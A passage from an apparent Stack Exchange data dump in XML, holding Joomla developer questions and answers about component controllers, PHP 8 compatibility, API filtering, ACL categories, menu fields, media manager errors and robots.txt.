[ROOT]\libraries\src\Application\CMSApplication.php(294): Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()&#xA;#5 [ROOT]\administrator\includes\app.php(61): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#6 [ROOT]\administrator\index.php(32): require_once('F:\\xampp\\htdocs...')&#xA;#7 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My DisplayController.php file is at:&lt;/p&gt;&#xA;&lt;p&gt;joomla\administrator\components\com_testcomponent\src\Controller\DisplayController.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Component\Testcomponent\Administrator\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class DisplayController extends BaseController&#xA;{&#xA;    protected $default_view = 'orders';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2023-10-13T18:00:12.493" Title="Joomla 4 - Invalid controller class:display" Tags="|joomla-4.x|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32549" PostTypeId="1" AcceptedAnswerId="32551" CreationDate="2022-11-19T13:38:45.563" Score="2" ViewCount="3841" Body="&lt;p&gt;My provider has upgraded the PHP version from 7.4 to 8.1. I'm working with Joomla 3.10 and thought that no actions were needed since PHP 8 is recommended for Joomla 3.10.&lt;/p&gt;&#xA;&lt;p&gt;Since the upgrade was done, I have no more access to my Joomla administration (http error 500). I also cannot downgrade to PHP 7.4.&lt;/p&gt;&#xA;&lt;p&gt;Is there any turnaround to get access to the Joomla administration? Or at least to the content of all the modules of Joomla in order to copy/paste the content into a new environment?&lt;/p&gt;&#xA;" OwnerUserId="13471" LastEditorUserId="12352" LastEditDate="2023-02-01T22:07:40.050" LastActivityDate="2023-02-01T22:07:40.050" Title="Joomla 3.10 admin not working after upgrade to PHP 8" Tags="|joomla-3.x|php|versions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32550" PostTypeId="1" CreationDate="2022-11-19T13:43:10.467" Score="1" ViewCount="330" Body="&lt;p&gt;Is there an example of code working with the OAuth2 class in Joomla (Joomla 4)? How to use this class? I'm trying to use Joomla native way, but don't see any useful example.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2022-11-19T13:43:10.467" Title="Joomla 4 OAuth2 code example" Tags="|authentication|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32551" PostTypeId="2" ParentId="32549" CreationDate="2022-11-19T20:25:04.997" Score="2" Body="&lt;p&gt;Could you &lt;strong&gt;switch your PHP to 8.0&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 3.10&lt;/strong&gt; is &lt;strong&gt;not compatible with PHP 8.1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla 3.10 core is compatible with PHP 8.0. Some non-core extensions might not be compatible with PHP 8.0.&lt;/p&gt;&#xA;&lt;p&gt;When you get white screens the error reporting is set to off. To switch error reporting on (and see the real errors), you have to configure Joomla's error reporting to &amp;quot;maximum&amp;quot;. To do that: in &lt;code&gt;configuration.php&lt;/code&gt; change &lt;code&gt;public $error_reporting = 'default';&lt;/code&gt; to &lt;code&gt;public $error_reporting = 'maximum';&lt;/code&gt; to display errors.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-11-19T20:25:04.997" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32553" PostTypeId="1" CreationDate="2022-11-20T21:57:58.637" Score="2" ViewCount="187" Body="&lt;p&gt;For now we have &lt;code&gt;api/v1/content/articles&lt;/code&gt;, but this gets ALL the articles from the site. I do not need the whole list, just the featured articles.&lt;/p&gt;&#xA;&lt;p&gt;Will we need to create an api-component as a temporary fix for this issue?&lt;/p&gt;&#xA;&lt;p&gt;With the current state of Joomla4, how do you get the list of articles of a specific category? I do not see this stuff in the JDocs.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="12352" LastEditDate="2022-11-22T00:10:44.113" LastActivityDate="2022-11-22T00:10:44.113" Title="Can we get the featured articles in a GET call through Joomla 4 API?" Tags="|joomla-4.x|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32555" PostTypeId="2" ParentId="32553" CreationDate="2022-11-21T15:33:19.890" Score="2" Body="&lt;p&gt;You can filter the API results just like the articles in Joomla's back-end: put &lt;code&gt;?filter[featured]=1&lt;/code&gt; behind the URL.&lt;/p&gt;&#xA;&lt;p&gt;In case you want to add multiple filters: prefix the first filter with a &lt;code&gt;?&lt;/code&gt; question mark and all others with an &lt;code&gt;&amp;amp;&lt;/code&gt; ampersand.&lt;/p&gt;&#xA;&lt;p&gt;So to display all Featured Articles from the News Category (let's assume that it's Category &amp;quot;10&amp;quot;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;api/v1//content/articles?filter[catid]=10&amp;amp;filter[featured]=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-11-21T15:33:19.890" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32556" PostTypeId="1" CreationDate="2022-11-21T18:06:33.480" Score="1" ViewCount="45" Body="&lt;p&gt;I created the following script and put it to cron job on server. Unfortunately it does not work.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;include 'includes/defines.php';&#xA;include 'includes/framework.php';&#xA;&#xA;$conf = JFactory::getConfig();&#xA;&#xA;$options = array(&#xA;    'defaultgroup' =&amp;gt; '',&#xA;    'storage'      =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;    'caching'      =&amp;gt; true,&#xA;    'cachebase'    =&amp;gt; $conf-&amp;gt;get('cache_path', JPATH_SITE . '/cache')&#xA;);&#xA;&#xA;$cache = JCache::getInstance('', $options);&#xA;$cache-&amp;gt;clean('cachegroup');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Do you have an idea what is wrong?&lt;/p&gt;&#xA;" OwnerUserId="16724" LastActivityDate="2022-12-26T09:01:45.170" Title="PHP script to clear cache in Joomla 3.x" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32557" PostTypeId="2" ParentId="32553" CreationDate="2022-11-21T23:56:06.407" Score="1" Body="&lt;p&gt;Thank to @pete the solution was simple after all. I already made the PR &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/39273&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/39273&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2022-11-21T23:56:06.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32558" PostTypeId="1" CreationDate="2022-11-22T07:40:53.400" Score="1" ViewCount="55" Body="&lt;p&gt;I have a Custom J4 Component that should have different types of contents. So called &amp;quot;items&amp;quot; and &amp;quot;packages&amp;quot;. The items are done so far and using the default J4 categories via &amp;quot;com_mycomponent&amp;quot; and the default ACL Structure.&lt;/p&gt;&#xA;&lt;p&gt;Now I'm on the way to implement my second model &amp;quot;packages&amp;quot; which also needs a category interface - but this should not be the same as for items (items and packages does not share the same categories). For me it looks like it does not matter if a component exists or not in the categories table for the column &amp;quot;extension&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;As far as i can see its only a problem on ACL side here. Joomla checks by default the &amp;quot;access&amp;quot; com_mycomponent &amp;gt; &amp;quot;category&amp;quot; section of my access.xml file (for items) - and in this case com_mycomponent is similar to the value inside the extension column of the categories table right? So how can i create a set of ACL for my &amp;quot;packages&amp;quot; categories?&lt;/p&gt;&#xA;&lt;p&gt;any hints someone? Or how you guys solve those cases? I don't think this is such a super special requirement and someone with more experience has certainly been confronted with it.&#xA;Edit: My default access.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;access component=&amp;quot;com_mycomponent&amp;quot;&amp;gt;&#xA;    &amp;lt;section name=&amp;quot;category&amp;quot;&amp;gt;&#xA;        &amp;lt;action name=&amp;quot;core.create&amp;quot; title=&amp;quot;JACTION_CREATE&amp;quot; /&amp;gt;&#xA;        &amp;lt;action name=&amp;quot;core.delete&amp;quot; title=&amp;quot;JACTION_DELETE&amp;quot; /&amp;gt;&#xA;        &amp;lt;action name=&amp;quot;core.edit&amp;quot; title=&amp;quot;JACTION_EDIT&amp;quot; /&amp;gt;&#xA;        &amp;lt;action name=&amp;quot;core.edit.state&amp;quot; title=&amp;quot;JACTION_EDITSTATE&amp;quot; /&amp;gt;&#xA;        &amp;lt;action name=&amp;quot;core.edit.own&amp;quot; title=&amp;quot;JACTION_EDITOWN&amp;quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;section name=&amp;quot;component&amp;quot;&amp;gt;&#xA;    ...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2022-11-22T09:17:08.303" LastActivityDate="2022-11-22T12:26:30.707" Title="Custom J4 Component - Multiple Models &amp; Different Category &quot;Groups&quot;?" Tags="|component|custom-component|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32559" PostTypeId="1" AcceptedAnswerId="32561" CreationDate="2022-11-22T12:15:57.353" Score="0" ViewCount="46" Body="&lt;p&gt;I am building a custom admin component for Joomla!4 that includes an API.&lt;/p&gt;&#xA;&lt;p&gt;To access the component's config I am using, on the API Controller file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$params = ComponentHelper::getComponent('com_mycomponent')-&amp;gt;getParams();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems a bit off to me to have go via the Component Helper to get my own component's params - in spite am I working on the API part of the code.&lt;/p&gt;&#xA;&lt;p&gt;It works fine, but is that the proper way?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2022-11-22T22:20:40.480" Title="Proper way to access Component config from API?" Tags="|development|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32560" PostTypeId="2" ParentId="32558" CreationDate="2022-11-22T12:26:30.707" Score="1" Body="&lt;p&gt;I think you do not need create another &amp;quot;group of categories&amp;quot;, if you do, you will lose the point of bring categories to your component.&lt;/p&gt;&#xA;&lt;p&gt;Just use the one you have. Create a different parent category for each, items and package, and will be enough. Each parent categoy with they own permissions will be enough for control what you want to acomplish.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2022-11-22T12:26:30.707" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32561" PostTypeId="2" ParentId="32559" CreationDate="2022-11-22T12:35:04.537" Score="1" Body="&lt;p&gt;The &amp;quot;more direct&amp;quot; way is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ComponentHelper::getParams('com_example');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;||&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ComponentHelper::getParams('com_example')-&amp;gt;get('yourParam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But yes, is through ComponentHelper class&lt;/p&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="13306" LastEditDate="2022-11-22T22:20:40.480" LastActivityDate="2022-11-22T22:20:40.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32562" PostTypeId="1" AcceptedAnswerId="32563" CreationDate="2022-11-22T14:58:33.360" Score="2" ViewCount="288" Body="&lt;p&gt;I have built a module using Joomla's subform XML. The XML in the subform is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset name=&amp;quot;topics&amp;quot; label=&amp;quot;Topic&amp;quot;&amp;gt;&#xA;       &amp;lt;field name=&amp;quot;title&amp;quot; type=&amp;quot;text&amp;quot; default=&amp;quot;&amp;quot; label=&amp;quot;Title&amp;quot; description=&amp;quot;&amp;quot; filter=&amp;quot;raw&amp;quot; /&amp;gt;&#xA;       &amp;lt;field name=&amp;quot;image&amp;quot; type=&amp;quot;media&amp;quot; directory=&amp;quot;&amp;quot; /&amp;gt;&#xA;       &amp;lt;field name=&amp;quot;description&amp;quot; type=&amp;quot;editor&amp;quot; label=&amp;quot;Content&amp;quot; description=&amp;quot;&amp;quot; filter=&amp;quot;safehtml&amp;quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need to show a button for each of the loops which acts as an anchor to the output. So it looks something similar to this&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SG2nx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SG2nx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2022-11-22T16:33:51.723" Title="Show button for each iteration of foreach loop" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32563" PostTypeId="2" ParentId="32562" CreationDate="2022-11-22T16:01:14.610" Score="2" Body="&lt;p&gt;Firstly, fetch the topics in your &lt;strong&gt;mod_xxxx.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$topics = $params-&amp;gt;get('topics');&#xA;$topics = gettype($topics) === 'string' ? json_decode($topics) : $topics;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, in your &lt;strong&gt;default.php&lt;/strong&gt;, you can perform the iteration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Create the triggers ?&amp;gt;&#xA;&amp;lt;?php foreach ($topics as $key =&amp;gt; $topic) : ?&amp;gt;&#xA;    &amp;lt;a href=&amp;quot;#topic-&amp;lt;?php echo $key; ?&amp;gt;&amp;quot; class=&amp;quot;btn btn-primary&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $topic-&amp;gt;title; ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;?php // Create the anchors ?&amp;gt;&#xA;&amp;lt;?php foreach ($topics as $key =&amp;gt; $topic) : ?&amp;gt;&#xA;    &amp;lt;article id=&amp;quot;topic-&amp;lt;?php echo $key; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php echo $topic-&amp;gt;title; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;img src=&amp;quot;&amp;lt;?php echo $topic-&amp;gt;image; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $topic-&amp;gt;title; ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $topic-&amp;gt;description; ?&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="294" LastEditDate="2022-11-22T16:33:51.723" LastActivityDate="2022-11-22T16:33:51.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32565" PostTypeId="1" AcceptedAnswerId="32566" CreationDate="2022-11-23T11:49:44.050" Score="0" ViewCount="26" Body="&lt;p&gt;I am building an admin side form and placed a Menuitem form field, that is working just fine.&lt;/p&gt;&#xA;&lt;p&gt;It is showing all the menu entries as expected, but I need it to list only the ones for &amp;quot;components&amp;quot; (i.e. exclude menu entries of type url, alias, etc.).&lt;/p&gt;&#xA;&lt;p&gt;The documentation ([https://docs.joomla.org/Menuitem_form_field_type]) refers the &amp;quot;menu_type&amp;quot; attribute, but that is for a different purpose - it's for &amp;quot;menu type&amp;quot;, not &amp;quot;menu entry type&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to this via the &amp;quot;Menuitem form field type&amp;quot;, or must I go around it with the &amp;quot;SQL form field type&amp;quot; querying the #__menu table?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2022-11-23T13:54:47.100" Title="Menuitem form field type: show only components" Tags="|joomla-3.x|development|joomla-4.x|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32566" PostTypeId="2" ParentId="32565" CreationDate="2022-11-23T13:54:47.100" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;disable&lt;/code&gt; attribute to disable unwanted menu item types:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;myfield&amp;quot;&#xA;    type=&amp;quot;menuitem&amp;quot;&#xA;    disable=&amp;quot;url,heading,separator&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-11-23T13:54:47.100" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32567" PostTypeId="1" CreationDate="2022-11-23T23:14:28.503" Score="1" ViewCount="36" Body="&lt;p&gt;I am trying the web services in Joomla 4. I have enabled SEF URLS, URL Rewriting on site configuration and I have set nginx according to &lt;a href=&quot;https://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs_on_Nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs_on_Nginx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have download the postman urls from &lt;a href=&quot;https://github.com/alexandreelise/j4x-api-collection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alexandreelise/j4x-api-collection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but they are not working.&lt;/p&gt;&#xA;&lt;p&gt;They return 404.&lt;/p&gt;&#xA;&lt;p&gt;Is there something else I should do?&lt;/p&gt;&#xA;" OwnerUserId="14713" LastEditorUserId="12352" LastEditDate="2022-11-26T04:00:19.323" LastActivityDate="2022-11-26T04:00:19.323" Title="Joomla 4 webservices are not working" Tags="|restful-api|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32568" PostTypeId="1" AcceptedAnswerId="32571" CreationDate="2022-11-24T07:15:08.397" Score="0" ViewCount="165" Body="&lt;p&gt;While creating my Custom Component i'm struggeling now on  creating menu items for my views.&#xA;The views are available via &amp;quot;/index.php?option=com_mycomponent&amp;amp;view=items&amp;quot; or &amp;quot;/index.php?option=com_mycomponent&amp;amp;view=item&amp;quot;. But when trying to define a menu type inside the template the item will be available and can be saved but the link in frontend only shows &amp;quot;https://joomla4.local&amp;quot; the link column in the menu table shows the correct link:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_mycomponent&amp;amp;view=items&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yqKYS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yqKYS.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;See ID 224&lt;/p&gt;&#xA;&lt;p&gt;My default.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&amp;quot;COM_EQUIPMENTMANAGER_ITEMS_VIEW_DEFAULT_TITLE&amp;quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[COM_EQUIPMENTMANAGER_ITEMS_VIEW_DEFAULT_DESC]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I do not understand - its still all very basic (the views only shows a fixed text string at this point) - did i missed a link definition somewhere in my code? I reviewed it now several times and checked with another of my extensions but i cannot see where the difference is neither I have no clue what i have to search for.&lt;/p&gt;&#xA;&lt;p&gt;Repository can be found here: &lt;a href=&quot;https://github.com/marcorensch/EquipmentManagerComponent/tree/implement_site_menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marcorensch/EquipmentManagerComponent/tree/implement_site_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2022-11-24T10:44:05.970" Title="Custom Component - Frontend Menu Item incorrect link" Tags="|component|joomla-4.x|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32569" PostTypeId="1" AcceptedAnswerId="32570" CreationDate="2022-11-24T08:37:31.353" Score="2" ViewCount="557" Body="&lt;p&gt;open the media management，its error “Property 'mime_type' of argument 'item' of event onFetchMediaItems has a wrong item. Valid: string”&lt;/p&gt;&#xA;&lt;p&gt;i dont know why，thanks！&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1WOgk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1WOgk.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vNJwX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vNJwX.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16731" LastEditorUserId="16731" LastEditDate="2022-11-24T08:39:13.950" LastActivityDate="2022-11-24T09:06:48.477" Title="media manager，error not work，thanks！" Tags="|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32570" PostTypeId="2" ParentId="32569" CreationDate="2022-11-24T09:06:48.477" Score="1" Body="&lt;p&gt;You will need to enable the &lt;code&gt;fileinfo&lt;/code&gt; PHP extension, which might need to be done by your hosting provider, if you don't have the necessary permissions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/28981576/how-to-enable-php-fileinfo-extension-in-php&quot;&gt;https://stackoverflow.com/questions/28981576/how-to-enable-php-fileinfo-extension-in-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2022-11-24T09:06:48.477" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32571" PostTypeId="2" ParentId="32568" CreationDate="2022-11-24T10:44:05.970" Score="1" Body="&lt;p&gt;Ok got it now - i had a mixup between my already copmpleted component (which i've used as &amp;quot;template&amp;quot;) and the PHPStorm Component Project Template. In the PHPStorm Template the Router for SEF is already prepared to been used but i had some missing files for it to work - so i commented out the Router things from the code and it works now - as i thought a really dumb mistake. Leave it here for readers in the future ;-)&lt;/p&gt;&#xA;&lt;p&gt;Changed:&#xA;administrator/componentname/services/provider&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;commented out in register function:&#xA;$container-&amp;gt;registerServiceProvider(new RouterFactory('\\You\\Component\\Componentname'));&#xA;&#xA;commented in set:&#xA;$component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Changed in: administrator/componentname/src/Extension/Extensionname.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;removed implementation of RouterServiceInterface&#xA;usage of RouterServiceTrait&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This was a learning for sure...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2022-11-24T10:44:05.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32573" PostTypeId="2" ParentId="31489" CreationDate="2022-11-24T23:08:35.140" Score="1" Body="&lt;p&gt;I solved a similar problem, based on great help from the Joomla forum:&#xA;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=831&amp;amp;p=3677225&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=831&amp;amp;p=3677225&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Setting the namespace with a use statement was not working for me.&lt;/p&gt;&#xA;&lt;p&gt;Here is the final standalone example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace some\custom\namespace;&#xA;&#xA;define('JOOMLA_MINIMUM_PHP', '7.2.5');&#xA;define('_JEXEC', 1);&#xA;&#xA;// Just to show your example can live in any sub-folder of &amp;quot;its own&amp;quot;&#xA;define('JPATH_BASE', __DIR__ . &amp;quot;/../../../../&amp;quot;);&#xA;include_once JPATH_BASE . &amp;quot;/includes/defines.php&amp;quot;;&#xA;include_once JPATH_BASE . &amp;quot;/includes/framework.php&amp;quot;;&#xA;&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;\JLoader::register('JNamespacePsr4Map', JPATH_LIBRARIES . '/namespacemap.php');&#xA;(new \JNamespacePsr4Map)-&amp;gt;load();&#xA;&#xA;$app-&amp;gt;createExtensionNamespaceMap();&#xA;&#xA;use \Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;// Get data for the logged-in user&#xA;$user = \Joomla\CMS\Factory::getApplication()-&amp;gt;getSession()-&amp;gt;get('user');&#xA;&#xA;if ($user-&amp;gt;id != NULL) {&#xA;  // User logged in, get the custom fields data&#xA;  $customFields = FieldsHelper::getFields('com_users.user', $user, 0);&#xA;  echo &amp;quot;&amp;lt;pre&amp;gt;USER:&amp;quot; . PHP_EOL;&#xA;  var_dump($user);&#xA;  echo PHP_EOL . &amp;quot;&amp;lt;hr /&amp;gt;CUSTOMFIELDS:&amp;quot; . PHP_EOL;&#xA;  var_dump($customFields);&#xA;  echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;}&#xA;else {&#xA;  echo &amp;quot;User not logged in.&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16732" LastActivityDate="2022-11-24T23:08:35.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32574" PostTypeId="1" CreationDate="2022-11-25T07:11:47.530" Score="0" ViewCount="273" Body="&lt;p&gt;I use Joomla 4.x, then I inspect the google search console and it only has a index.php crawled but any links shown in index.html are ignored, not followed.&lt;/p&gt;&#xA;&lt;p&gt;this is the original robot.txt right from Joomla installation&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# If the Joomla site is installed within a folder&#xA;# eg www.example.com/joomla/ then the robots.txt file&#xA;# MUST be moved to the site root&#xA;# eg www.example.com/robots.txt&#xA;# AND the joomla folder name MUST be prefixed to all of the&#xA;# paths.&#xA;# eg the Disallow rule for the /administrator/ folder MUST&#xA;# be changed to read&#xA;# Disallow: /joomla/administrator/&#xA;#&#xA;# For more information about the robots.txt standard, see:&#xA;# https://www.robotstxt.org/orig.html&#xA;&#xA;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /api/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want google to crawl my website other than disallow URL, thanks&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-04-28T09:02:35.250" Title="Joomla 4.x robot.txt doesn't work for google" Tags="|joomla-4.x|googlebots|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
